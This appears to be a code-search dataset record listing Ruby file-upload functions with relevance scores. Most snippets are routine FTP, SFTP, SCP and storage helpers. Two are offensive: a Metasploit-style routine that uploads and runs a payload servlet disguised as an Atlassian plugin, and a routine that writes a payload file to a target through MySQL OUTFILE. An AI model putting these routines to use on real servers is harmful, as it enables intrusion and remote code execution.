|ftp|\n # 1) Create the STAGING folder if it's not already there.\n begin\n ftp.mkdir(DCAS::STAGING_BUCKET) unless ftp.nlst.include?(DCAS::STAGING_BUCKET)\n ftp.chdir(DCAS::STAGING_BUCKET)\n # 2) Delete the same filename from the STAGING folder if one exists.\n ftp.delete(shortname) if ftp.nlst.include?(shortname)\n # 3) Upload the file into the STAGING folder.\n puts \"Uploading #{filename} as #{shortname}...\"\n ftp.put(filename, shortname)\n true\n rescue Object\n lock_object.submit_failed!(shortname) if lock_object\n false\n end && begin\n # 4) If we're still connected, check the file size of the file, then move it out of STAGING and mark file as completed.\n if ftp.nlst.include?(shortname) && ftp.size(shortname) == File.size(filename)\n begin\n ftp.rename(shortname, \"../#{incoming_bucket}/#{shortname}\") unless testing || incoming_bucket == DCAS::STAGING_BUCKET\n true\n rescue Object\n false\n end && begin\n lock_object.submit_finished!(shortname) if lock_object\n true\n end\n else\n if lock_object\n lock_object.submit_failed!(shortname)\n false\n else\n raise RuntimeError, \"FAILED uploading `#{filename}' - incomplete or unsuccessful upload. Please try again.\"\n end\n end\n rescue Object\n lock_object.submit_failed!(shortname) if lock_object\n false\n end\n end\n lock_object.submit_failed!(shortname) if lock_object && res.nil?\n res\n end\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def upload_file(upload_url, filename_or_stream, content_type, filename = nil)\n handle_error do\n fileserver_connection(upload_url).post do |req|\n req.body = { file: UploadIO.new(filename_or_stream, content_type, filename) }\n end\n end\n end", "def upload_file_to_guest_as_admin(local_path, guest_path, quiet=false)\n\n log_stdout \"Copying #{local_path} to #{guest_path} as Administrator\", quiet\n\n upload_file_to_guest(local_path, 'C:\\Users\\IEUser\\.tempadminfile',true)\n run_command_as_admin('copy C:\\Users\\IEUser\\.tempadminfile '+ guest_path,true)\n run_command 'del C:\\Users\\IEUser\\.tempadminfile', true\n end", "def upload(local, remote, options={}, &block)\n Operations::Upload.new(self, local, remote, options, &block)\n end", "def file_upload(file)\n file[\"//\"] = \"/\"\n file = ENV['RED5_HOME'] + \"/webapps/encrev1/#{file}\"\n request_url = \"#{@url}/file/demo\"\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Request filename : #{request_url}\"\n response = RestClient.put request_url, \"\"\n $log.info \"--> Got reponse : #{response}\"\n file_name = JSON.parse(response.to_str)['result']\n if file_name\n $log.info \"--> Got filename : #{file_name}\"\n request_url = \"#{@url}/file/demo/\"\n request_url += file_name\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Upload (#{file}) to Encre : #{request_url}\"\n response = RestClient.put request_url, File.read(file), :content_type => 'application/x-shockwave-flash'\n $log.info \"Delete #{file} ...\"\n file = File.delete(file)\n else\n file_name = nil\n end\n rescue\n file_name = nil\n $log.info \"... failed ! (check exception below)\"\n $log.info $!\n end", "def fetch_and_upload_file(file, **opt)\n meth = opt.delete(:meth) || __method__\n remote = file.match?(/^https?:/)\n result = remote ? upload_remote(file, **opt) : upload_local(file, **opt)\n Log.info do\n name = result&.original_filename.inspect\n size = result&.size || 0\n type = result&.mime_type || 'unknown MIME type'\n \"#{meth}: #{name} (#{size} bytes) #{type}\"\n end\n result\n end", "def download_file(remote_file, local_file)\n begin\n @log.info(\"Download file #{remote_file} to #{local_file}\")\n @ssh_connect.download!(remote_file,local_file)\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end", "def upload_file(file)\n file_path = file.path\n\n @size = File.size(file_path)\n @filename = File.basename(file_path)\n @io = File.open(file_path)\n io.binmode\n Rails.logger.debug \"filename of file to upload: #{filename} filepath: #{file_path}\"\n upload_io(io, size, filename).tap do\n io.close\n end\n end", "def upload local_file_path, storage_file_path, encryption_key: nil\n unless @bucket.file storage_file_path\n @bucket.create_file local_file_path, storage_file_path,\n encryption_key: encryption_key\n end\n end", "def upload_file\n #TODO\n end", "def upload_file(connection, source, target, recursive = true)\n if connection.scp.upload!(source, target, recursive: recursive)\n Result.ok(:uploaded)\n else\n Result.error(\"Unable to upload #{source} to #{target}\")\n end\n rescue Net::SCP::Error\n Result.error(\"The network is overloaded. Unable to upload #{source} to #{target}\")\n end", "def put(local_file, to_location, overwrite = true, close_file = true)\n local_file = File.open(File.expand_path(local_file), \"rb\") unless local_file.respond_to?(:read) # check if it's a File object\n result = @client.put_file(to_location, local_file, overwrite)\n local_file.close if close_file\n result\n rescue\n puts $! if @@verbose\n nil\n end", "def transfer_file(login, password, file)\n\thost = 'stdlinux.cse.ohio-state.edu'\n\n\tNet::SCP.start(host, login, :password => password) do |scp|\n\t\tputs 'File Transfer Started'\n\t\tscp.upload(file, '.')\n\tend\n\n\tputs 'File Transfer Ended'\nend", "def upload(filename, folderid=nil, unzip=true, overwrite=false, details=nil) #filename must include the extension\n end", "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end", "def generate_config(local_file,remote_file,use_sudo=false)\n temp_file = '/tmp/' + File.basename(local_file)\n buffer = parse_config(local_file)\n File.open(temp_file, 'w+') { |f| f << buffer }\n upload temp_file, temp_file, :via => :scp\n run \"#{use_sudo ? sudo : \"\"} mv #{temp_file} #{remote_file}\"\n `rm #{temp_file}`\nend", "def test_upload_file\n remote_file_name = 'TestUploadFile.docx'\n\n request_file_content = File.open(File.join(local_test_folder, local_file))\n request = UploadFileRequest.new(file_content: request_file_content, path: remote_data_folder + '/' + remote_file_name)\n\n result = @words_api.upload_file(request)\n assert_equal false, result.nil?\n end", "def file_write2(localfile, remote_path, payload_filename)\n foodb=randz(15)\n fooread=randz(10)\n writable = remote_path + payload_filename\n begin\n print_status(\"Attempting to Write File to Target.....\")\n # Read local file into temp table on temp database we create\n query = @db_connection.query('CREATE DATABASE #{foodb};')\n query = @db_connection.query('USE #{foodb};')\n query = @db_connection.query(\"CREATE TEMPORARY TABLE #{fooread} (content LONGTEXT);\")\n query = @db_connection.query(\"LOAD DATA LOCAL INFILE '#{localfile}' INTO TABLE #{foodb}.#{fooread};\")\n\n # Confirm Local File was read into temp table\n print_status(\"Checking Local Payload File was read into temp database....\")\n query = @db_connection.query(\"SELECT * FROM #{foodb}.#{fooread};\")\n query.each { |x| print_line(\"#{x[0]}\") }\n\n # Now actually write to file\n print_status(\"Writing payload to #{writable}...\")\n query = @db_connection.query(\"SELECT * FROM #{foodb}.#{fooread} INTO OUTFILE '#{writable}';\")\n\n # Cleanup temp table and temp db we created\n print_status(\"All done, cleaning up tables....\")\n query = @db_connection.query('DROP TEMPORARY TABLE #{foodb}.#{fooread};')\n query = @db_connection.query('DROP DATABASE #{foodb};')\n\n print_good(\"OK, should be all set if you didn't get any errors!\")\n rescue Mysql::Error => e\n print_error(\"Problem writing file!\")\n print_error(\"#{e}\")\n query = @db_connection.query('DROP TEMPORARY TABLE #{foodb}.#{fooread};')\n query = @db_connection.query('DROP DATABASE #{foodb};')\n end\n end", "def string_upload(str, remote_path)\n net_scp_transfer!(:upload, StringIO.new(str), remote_path)\n end", "def upload(command)\n fname = command[1]\n\n #If the user didn't specify the file name, just use the name of the file on disk\n if command[2]\n new_name = command[2]\n else\n new_name = File.basename(fname)\n end\n\n if fname && !fname.empty? && File.exists?(fname) && (File.ftype(fname) == 'file') && File.stat(fname).readable?\n pp @client.files.upload(new_name, WriteConflictPolicy.overwrite, open(fname))\n else\n puts \"couldn't find the file #{ fname }\"\n end\n end", "def upload_dir(local_dir, remote_dir)\t\n\t\tputs \"Uploading local dir \" + local_dir + \" to remote dir \" + remote_dir\t\n\t\t@ftp.mkdir(remote_dir)\n\t\trescue Net::FTPPermError\n\t\t\t@ftp.chdir(remote_dir)\n\t\t\t\n\t\tdir = Dir.new(local_dir)\n\t\t\n\t\tdir.each do |filename| \n\t\t\tif filename != \".\" && filename != \"..\" && !File.directory?(local_dir + filename)\n\t\t\t\tputs \"\\tFile: \" + local_dir + filename\n\t\t\t\t@ftp.puttextfile(local_dir + filename, remote_dir + filename)\n\t\t\telsif filename != \".\" && filename != \"..\" && File.directory?(local_dir + filename)\n\t\t\t\tupload_dir(local_dir + filename + \"/\", remote_dir + filename + \"/\")\n\t\t\tend\t\n\t\tend\n\tend", "def upload_to_sftp(sfu_connection, dir_local, upload_dir, file_regex)\n full_rem_dir = sfu_connection.realpath!(upload_dir).name\n Dir.chdir(dir_local)\n local_files = Dir.foreach(dir_local).map{|file| file}\n local_file = local_files.find_all{|x| x =~ /#{file_regex}/}\n if local_file.empty? == true\n log_error(\"There are no files to be uploaded to the sFTP server\")\n else\n data_files = local_file.select {|x| x !~ /END|end/}\n log_error(\"These files are going to be uploaded: #{data_files} to the sFTP server\")\n data_uls = data_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n data_uls.each{|u| u.wait}\n end_files = local_file.select {|x| x =~ /END|end/}\n log_error(\"These files are going to be uploaded: #{end_files} to the sFTP server\")\n end_uls = end_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n end_uls.each{|u| u.wait}\n end\n rescue Net::SFTP::StatusException => access_error\n log_error(\"Permission denied, because of #{access_error.message}\")\nend", "def upload_exec(upm_token, good_cookie)\r\n contents = ''\r\n name = Rex::Text.rand_text_alpha(8..12)\r\n\r\n atlassian_plugin_xml = %Q{\r\n <atlassian-plugin name=\"#{name}\" key=\"#{name}\" plugins-version=\"2\">\r\n <plugin-info>\r\n <description></description>\r\n <version>1.0</version>\r\n <vendor name=\"\" url=\"\" />\r\n\r\n <param name=\"post.install.url\">/plugins/servlet/metasploit/PayloadServlet</param>\r\n <param name=\"post.upgrade.url\">/plugins/servlet/metasploit/PayloadServlet</param>\r\n\r\n </plugin-info>\r\n\r\n <servlet name=\"#{name}\" key=\"metasploit.PayloadServlet\" class=\"metasploit.PayloadServlet\">\r\n <description>\"#{name}\"</description>\r\n <url-pattern>/metasploit/PayloadServlet</url-pattern>\r\n </servlet>\r\n\r\n </atlassian-plugin>\r\n }\r\n\r\n # Generates .jar file for upload\r\n zip = payload.encoded_jar\r\n zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)\r\n\r\n servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')\r\n zip.add_file('/metasploit/PayloadServlet.class', servlet)\r\n\r\n contents = zip.pack\r\n\r\n boundary = rand_text_numeric(27)\r\n\r\n data = \"--#{boundary}\\r\\nContent-Disposition: form-data; name=\\\"plugin\\\"; \"\r\n data << \"filename=\\\"#{name}.jar\\\"\\r\\nContent-Type: application/x-java-archive\\r\\n\\r\\n\"\r\n data << contents\r\n data << \"\\r\\n--#{boundary}--\"\r\n\r\n print_status(\"Attempting to upload #{name}\")\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),\r\n 'vars_get' =>\r\n {\r\n 'token' => \"#{upm_token}\"\r\n },\r\n 'method' => 'POST',\r\n 'data' => data,\r\n 'headers' =>\r\n {\r\n 'Content-Type' => 'multipart/form-data; boundary=' + boundary,\r\n 'Cookie' => good_cookie.to_s\r\n }\r\n }, 25)\r\n\r\n unless res && res.code == 202\r\n print_status(\"Error uploading #{name}\")\r\n print_status(\"HTTP Response Code: #{res.code}\")\r\n print_status(\"Server Response: #{res.body}\")\r\n return\r\n end\r\n\r\n print_status(\"Successfully uploaded #{name}\")\r\n print_status(\"Executing #{name}\")\r\n Rex::ThreadSafe.sleep(3)\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),\r\n 'method' => 'GET',\r\n 'cookie' => good_cookie.to_s\r\n })\r\n\r\n print_status(\"Deleting #{name}\")\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, \"rest/plugins/1.0/#{name}-key\"),\r\n 'method' => 'DELETE',\r\n 'cookie' => good_cookie.to_s\r\n })\r\n end", "def store_file(data, filename)\r\n ltype = \"exploit.fileformat.#{self.shortname}\"\r\n\r\n if ! ::File.directory?(Msf::Config.local_directory)\r\n FileUtils.mkdir_p(Msf::Config.local_directory)\r\n end\r\n\r\n if filename and not filename.empty?\r\n if filename =~ /(.*)\\.(.*)/\r\n ext = $2\r\n fname = $1\r\n else\r\n fname = filename\r\n end\r\n else\r\n fname = \"local_#{Time.now.utc.to_i}\"\r\n end\r\n\r\n fname = ::File.split(fname).last\r\n\r\n fname.gsub!(/[^a-z0-9\\.\\_\\-]+/i, '')\r\n fname << \".#{ext}\"\r\n\r\n path = File.join(\"#{Msf::Config.local_directory}/\", fname)\r\n full_path = ::File.expand_path(path)\r\n File.open(full_path, \"wb\") { |fd| fd.write(data) }\r\n\r\n full_path.dup\r\n end", "def upload_to_sftp(sfu_connection, dir_local, upload_dir, file_regex, options)\n if options[:verbose]\n puts \"---Uploading files to UPSTREAM\"\n end\n full_rem_dir = sfu_connection.realpath!(upload_dir).name\n Dir.chdir(dir_local)\n local_files = Dir.foreach(dir_local).map{|file| file}\n local_file = local_files.find_all{|x| x =~ /#{file_regex}/}\n if local_file.empty? == true\n log_error(\"There are no files to be uploaded to the sFTP server\")\n if options[:verbose]\n puts \"---Local folder #{dir_local} is EMPTY\"\n end\n else\n data_files = local_file.select {|x| x !~ /END|end/}\n log_error(\"These files are going to be uploaded: #{data_files} to the sFTP server\")\n if options[:verbose]\n puts \"---Uploading files #{data_files} to #{full_rem_dir}\"\n end\n data_uls = data_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n data_uls.each{|u| u.wait}\n end_files = local_file.select {|x| x =~ /END|end/}\n log_error(\"These files are going to be uploaded: #{end_files} to the sFTP server\")\n if options[:verbose]\n puts \"---Uploading END files #{end_files} to #{full_rem_dir}\"\n end\n end_uls = end_files.map{|item| sfu_connection.upload!(dir_local + item, full_rem_dir + \"/\" + item, :progress => CustomHandler.new)}\n end_uls.each{|u| u.wait}\n end\n rescue Net::SFTP::StatusException => access_error\n log_error(\"Permission denied, because of #{access_error.message}\")\nend", "def upload_file(file_dir, orig_filename, aip_filename, type)\n @log.info 'Uploading file ' + orig_filename\n @log.info \"Renaming #{type} #{aip_filename} -> #{orig_filename}\"\n\n File.rename(file_dir + '/' + aip_filename,\n file_dir + '/' + orig_filename)\n file = File.open(file_dir + '/' + orig_filename)\n\n uploaded_file = Hyrax::UploadedFile.create(file: file)\n uploaded_file.save\n\n file.close\n\n uploaded_file\nend", "def upload(local, remote, port:, user:, password:)\n Net::SSH::Simple.scp_put(ip, local.to_s, remote.to_s,\n user: user, port: port, password: password, paranoid: false)\n true\n rescue Net::SSH::Simple::Error => e\n log.info \"Uploading '#{local}' failed: #{e.inspect}\"\n false\n end", "def ftp_file_upload(database_output, ftp_file_location)\n if database_output['ftp_host'] == '' or database_output['remote_user'] == '' or database_output['remote_passwd'] == ''\n puts 'Invalid FTP credentials fetched from Database'\n else\n # UPLOADING FILES THROUGH FTP\n file_path = File.new(ftp_file_location)\n Net::FTP.open(database_output['ftp_host'], database_output['remote_user'], database_output['remote_passwd']) do |ftp|\n puts \"\\n#FTP RESPONSE SHOWN ON LOGGED VIA DATABASE CREDENTIALS\"\n if ftp.closed?\n puts \"Invalid FTP Credentials or Try with different FTP credentials\"\n else\n puts \"FTP Login is successfull : #{database_output['remote_user']}\"\n ftp.putbinaryfile(file_path)\n @log_time_stamp = Time.now\n puts \"File upload is successfull in FTP\"\n end\n end\n end\nend", "def sudo_upload(file_path, to)\n filename = File.basename(to)\n to_directory = File.dirname(to)\n execute \"mkdir -p /tmp/cap_upload\"\n upload! file_path, \"/tmp/cap_upload/#{filename}\"\n execute \"sudo mv /tmp/cap_upload/#{filename} -f #{to_directory}\"\nend", "def upload_file(file_upload, owner)\n image = MiniMagick::Image.open(file_upload.tempfile.path)\n image.resize \"500x500>\"\n image.format \"jpeg\"\n\n tempfile = Tempfile.new \"item_picture\"\n image.write(tempfile)\n\n owner = \"#{current_user.id}/#{owner}\"\n\n upload = Upload.find_by(owner: owner) || Upload.new(owner: owner)\n\n upload.mime_type = \"image/jpeg\"\n upload.extension = \".jpeg\"\n upload.body = tempfile.read\n\n if upload.save\n StoreUploadToCloudJob.perform_later upload\n\n upload\n end\n end", "def file_upload_wip()\n logger.debug \"\\r\\n\\r\\n!! ------ in upload/file_upload -----\"\n logger.debug params[:datafile].original_filename\n logger.debug params\n logger.debug \"\\r\\n!! ===========================\\r\\n\"\n is_successful = true\n\n if params[:datafile]\n tmp = params[:datafile].tempfile\n file = File.join( \"public/uploads\", params[:datafile].original_filename )\n FileUtils.cp tmp.path, file\n# \n # name = params[:datafile].original_filename\n # directory = \"public/uploads\"\n # path = File.join(directory, name)\n # File.open(path, \"wb\") { |f|\n # f.write( params[:datafile].read )\n # }\n else\n is_successful = false\n end\n\n redirect_to upload_path()\n end", "def move_from_remote(remote_file, local_path)\n\t\tcopy_from_remote(remote_file, local_path)\n\t\tdelete_remote(remote_file)\n\tend", "def safe_upload(from, to, options={}, &block)\n options = options.dup\n transfer_method = options.delete(:transfer) == :if_modified ? :transfer_if_modified : :transfer\n if options.has_key?(:install)\n install_method = options.delete(:install) == :if_modified ? :install_if_modified : :install\n else\n # for backward compatibility before v0.0.4.\n install_method = options.delete(:place) == :if_modified ? :install_if_modified : :install\n end\n run_method = ( options.delete(:run_method) || :run )\n begin\n tempname = File.join(\"/tmp\", File.basename(to) + \".XXXXXXXXXX\")\n tempfile = capture(\"mktemp #{tempname.dump}\").strip\n run(\"rm -f #{tempfile.dump}\", options)\n send(transfer_method, :up, from, tempfile, options, &block)\n send(install_method, tempfile, to, options.merge(:via => run_method), &block)\n ensure\n run(\"rm -f #{tempfile.dump}\", options) rescue nil\n end\n end", "def upload_directory(local_dir, remote_path)\n Net::SFTP.start(HOSTNAME, USERNAME, :password => PASSWORD) do |sftp|\n dir_perm = 0755\n file_perm = 0644\n Find.find(local_dir) do |f|\n #next if f.include?('.part') or f.include?('.table') or f.include?('.sh') or f.include?('.rb') or f.include?('.csv')\n if File.stat(f).directory?\n begin\n remote_dir = remote_path + \"/\" + f\n sftp.stat!(remote_dir)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Creating remote directory #{remote_dir}\"\n sftp.mkdir(remote_dir, :permissions => dir_perm)\n end\n next\n end\n local_file = f\n remote_file = remote_path + \"/\" + local_file\n \n begin\n remote_dir = File.dirname(remote_file)\n sftp.stat!(remote_dir)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Creating remote directory #{remote_dir}\"\n sftp.mkdir(remote_dir, :permissions => dir_perm)\n end\n \n begin\n rstat = sftp.stat!(remote_file)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Copying #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n sftp.setstat(remote_file, :permissions => file_perm)\n next\n end\n \n if File.stat(local_file).mtime > Time.at(rstat.mtime + SERVER_TIME_OFFSET)\n puts \"Updating #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n end\n end\n end\n end", "def remote_file=(filename)\n return unless @run.initialized?\n @value = nil\n @file = filename\n @remote_file = true\n end", "def upload_file( wikipath, filename )\n p filename\n raw = File.read( filename )\n return if uploaded?( filename, raw )\n\n case filename\n when /[.]#{EXTENSION}$/\n upload_wiki_file( wikipath, filename )\n else\n upload_media_file( wikipath, filename, raw )\n end\n end", "def upload_file(locator, file_path)\n if File.exist?(file_path)\n self.attach_file(locator, file_path)\n else\n raise \"File #{file_path} not found.\"\n end\n end", "def post_file(filename,repo)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\",{\"operation\"=> \"create\"}).body_str\n end", "def scp_upload(src_file, remote_folder)\n scp_connect\n success = false\n unless @scp_session.nil? or is_dryrun\n begin\n scp_mkdir_p(remote_folder) unless scp_dir_exist?(remote_folder)\n rem_file = File.join(remote_folder, File.basename(src_file)).to_s\n @scp_session.upload!(src_file, rem_file)\n # some files don't take permissions of their parent folder, not sure why!\n # forcing file permissions as well!\n scp_set_file_perms(rem_file)\n success = true\n rescue => ex\n puts(\"ERR: failed to upload #{src_file} to remote #{remote_folder}: response #{ex.to_s}\")\n $stdout.flush\n end\n ssh_disconnect\n end\n success\n end", "def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "def addFile(url, local_name)\r\n\t\t\t`bitsadmin /rawreturn /addfile {#{@id}} #{url} #{local_name}`\r\n\t\tend", "def local_file(f, body, options={})\n #return !self.config.public?\n file = init_fog_file(f, body, options)\n # If the \"file\" is empty then return nil\n return nil if file.nil? || file.blank? || local_root.nil?\n file = local_root(options).files.create( file )\n end" ]
[ "0.7708411", "0.74333805", "0.7370586", "0.7252144", "0.70272493", "0.69999075", "0.6986755", "0.6977685", "0.6925003", "0.69215", "0.6871475", "0.686814", "0.6854381", "0.6843439", "0.6840953", "0.67960453", "0.67590165", "0.67536944", "0.6699718", "0.6699118", "0.66800934", "0.6632037", "0.6568816", "0.6543105", "0.6538751", "0.651277", "0.65017545", "0.6443266", "0.6418428", "0.6398589", "0.63863736", "0.6369724", "0.6365326", "0.635537", "0.6320482", "0.6298753", "0.62755567", "0.622241", "0.620159", "0.6179427", "0.61789745", "0.617376", "0.6154943", "0.6148296", "0.6125413", "0.61248136", "0.611144", "0.61064917", "0.6098721", "0.60942", "0.6090221", "0.6088243", "0.60872644", "0.60724044", "0.606939", "0.6067315", "0.6066322", "0.60620356", "0.6056327", "0.6050145", "0.6046928", "0.60453176", "0.60430974", "0.60396945", "0.60287756", "0.6025851", "0.6012032", "0.6000696", "0.5981784", "0.59806293", "0.59790665", "0.59774303", "0.59583735", "0.5938709", "0.5912838", "0.59055036", "0.58939165", "0.58884925", "0.58868134", "0.58862144", "0.5884939", "0.588084", "0.58768964", "0.5875465", "0.5862288", "0.58537024", "0.5818436", "0.58141613", "0.58111", "0.58086145", "0.5808152", "0.57984585", "0.57965493", "0.5795264", "0.5794699", "0.5783041", "0.57777977", "0.5774032", "0.5771468", "0.57711846" ]
0.85107166
0
Use for check if the service encountered unknown exception
def normal_failed? return status == PRE_FAILED || status == WORKFLOW_FAILED || status == UPLOADING_RESULTS_VCF_FAILED || status == UPLOADING_RESULTS_SCORE_FAILED end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def service_exception?\n data['isException'] == true\n end", "def service_exception?\n original.body.include? '\"isException\":true,'\n end", "def service_unavailable\n\n end", "def test_does_not_consider_unknown_errors\n ig = ScoutApm::ErrorService::IgnoredExceptions.new(context, [\"ThisDoesNotExist\", \"IgnoredExceptionsTest::FakeError\"])\n assert ig.ignored?(FakeError.new(\"ignore this one\"))\n end", "def is_exception?; end", "def bad_service?\n\t\tService.find_by(name: self.service_name).traffic != \"GOOD SERVICE\"\n\tend", "def bad_service?\n\t\tService.find_by(name: self.service_name).traffic != \"GOOD SERVICE\"\n\tend", "def check_error(response)\n raise NotImplementedError\n end", "def service\n abstract_method_error\n end", "def valid_service?\n raise NotImplementedError.new(\"#{self.class.name}#valid_service?\")\n end", "def build_checker_404?(e)\n e.is_a?(Faraday::ResourceNotFound) &&\n ::User.find_by(email: 'build_checker_fake_email').try(:onapp_user) == @config[:user] &&\n e.backtrace.join.match(/vm_monitor_destroy/)\n end", "def handle_not_found(exception)\n raise exception\n end", "def test_missing_service_group_ignored\n # Not raise\n service_list = @service_store.determine_services %w{non_existing_group}\n end", "def exception?\n false\n end", "def catch_exceptions; end", "def unknown; status[:unknown]; end", "def has_exception?\n exceptions.any?\n end", "def test_invalid_service\n assert_raise(AdWords::Error::Error) do\n @adwords.get_service('Invalid')\n end\n end", "def check_service_existence\n if (Service.all.count == 0)\n flash[:error] = t(\"alerts.error.services_not_exist\")\n redirect_to :back\n end\n \n return\n end", "def handle_generic_error(exception)\n end", "def service_information\n path = \"#{api_root}/health/fast\"\n begin\n execute_http_request(:get, path)\n rescue RestClient::ExceptionWithResponse => e\n Rails.logger.error \"Azul service unavailable: #{e.message}\"\n ErrorTracker.report_exception(e, nil, { method: :get, url: path, code: e.http_code })\n JSON.parse(e.http_body) if e.http_body.present? # response body should have more information than error message\n end\n end", "def service_exception\n if current_module.const_defined?('ServiceException')\n current_module.const_get('ServiceException')\n else\n current_module.const_set('ServiceException', Class.new(Common::Exceptions::BackendServiceException))\n end\n end", "def exception?\n !exception.nil?\n end", "def rescue_from(exception); end", "def known_service? url\n !!service_endpoint(url)\n end", "def is_error?\n return (self.status == HostResult::STATUS_ERROR)\n end", "def has_error?\n status == ERROR \n end", "def check_error(response) #:nodoc:\n case response.code\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise CredentialsError, 'invalid key'\n when 620 then\n raise CredentialsError, 'too many queries'\n else\n raise Error, \"unknown error #{response.code}\"\n end\n end", "def check_for_errors\n info = MultiJson.load(self.body).first\n\n if info['result'] && info['result'] != 0\n if info['result'] == 500\n raise Webceo::Api::ServerError.new(self.status.to_i, self.body)\n else\n raise Webceo::Api::ClientError.new(self.status.to_i, self.body)\n end\n end\n end", "def report_exception(service_class, service_data, exception)\n backtrace = Array(exception.backtrace)[0..500]\n\n data = {\n 'app' => 'github-services',\n 'type' => 'exception',\n 'class' => exception.class.to_s,\n 'server' => settings.hostname,\n 'message' => exception.message[0..254],\n 'backtrace' => backtrace.join(\"\\n\"),\n 'rollup' => Digest::MD5.hexdigest(exception.class.to_s + backtrace[0]),\n 'service' => service_class.to_s\n }\n\n if exception.kind_of?(Service::Error)\n if exception.original_exception\n data['original_class'] = exception.original_exception.to_s\n data['backtrace'] = exception.original_exception.backtrace.join(\"\\n\")\n data['message'] = exception.original_exception.message[0..254]\n end\n elsif !exception.kind_of?(Service::TimeoutError)\n data['original_class'] = data['class']\n data['class'] = 'Service::Error'\n end\n\n if service_class == Service::Web\n data['service_data'] = service_data.inspect\n end\n\n if settings.hostname =~ /^sh1\\.(rs|stg)\\.github\\.com$/\n # run only in github's production environment\n Net::HTTP.new('haystack', 80).\n post('/async', \"json=#{Rack::Utils.escape(data.to_json)}\")\n else\n $stderr.puts data[ 'message' ]\n $stderr.puts data[ 'backtrace' ]\n end\n\n rescue => boom\n $stderr.puts \"reporting exception failed:\"\n $stderr.puts \"#{boom.class}: #{boom}\"\n $stderr.puts \"#{boom.backtrace.join(\"\\n\")}\"\n # swallow errors\n end", "def error?\n !!exception\n end", "def check_error(response) #:nodoc:\n case response.status\n when \"OK\" then # ignore, ok\n when \"ZERO_RESULTS\" then\n raise AddressError, 'unknown address'\n when \"OVER_QUERY_LIMIT\"\n raise CredentialsError, 'over query limit'\n when \"REQUEST_DENIED\"\n raise CredentialsError, 'request denied'\n when \"INVALID_REQUEST\"\n raise AddressError, 'missing address'\n when \"UNKNOWN_ERROR\"\n raise Error, \"unknown server error. Try again.\"\n else\n raise Error, \"unkown error #{response.status}\"\n end\n end", "def check_error(xml) #:nodoc:\n status = xml.elements['/kml/Response/Status/code'].text.to_i\n case status\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise CredentialsError, 'invalid key'\n when 620 then\n raise CredentialsError, 'too many queries'\n else\n raise Error, \"unknown error #{status}\"\n end\n end", "def check_server\n raise Exception.new(\"Could not reach Apocalypse server please check the address and port and try again.\") unless server_reachable?\n end", "def error?\n !!@exception\n end", "def check_error(xml)\n status = xml.elements['/kml/Response/Status/code'].text.to_i\n case status\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise KeyError, 'invalid key'\n when 620 then\n raise KeyError, 'too many queries'\n else\n raise Error, \"unknown error #{status}\"\n end\n end", "def error?\n @exception.present?\n end", "def check_error(json)\n if json[\"nyplAPI\"][\"response\"][\"headers\"][\"status\"] == \"error\"\n msg = \"NYPL Repo API Error: \" + json[\"nyplAPI\"][\"response\"][\"headers\"][\"code\"] + \" \"+ json[\"nyplAPI\"][\"response\"][\"headers\"][\"message\"]\n raise msg\n end\n\n end", "def exist?(service)\n !service_list[service].nil?\n end", "def an_exception?\n an_exception == true\n end", "def exception?\n\t\tinstance_variable_defined? :@exception\n\tend", "def server_error?\n response.is_a?(Net::HTTPInternalServerError)\n end", "def calendar_service_exceptions(service_id)\n get \"/gtfs/calendarDate/serviceId/#{service_id}\"\n end", "def raise_if_error_present_in(response)\n response_xml = response.parsed_response\n if response_xml && !response_xml.css('error').empty?\n error_id = response_xml.css('error').first['id']\n error_message = response_xml.css('error message').first.text\n\n # Rozpoznajemy ten kod bledu i mozemy rzucic okreslona klasa wyjatku:\n if exception_class = EXCEPTION_CLASSES[error_id.to_s]\n raise exception_class, error_message\n else\n # Jakis nieznany blad - rzucamy chociaz stringiem\n raise Exceptions::UnknownError, \"ELIBRI_API ERROR #{error_id}: #{error_message}\"\n end\n end\n end", "def unknown?\n 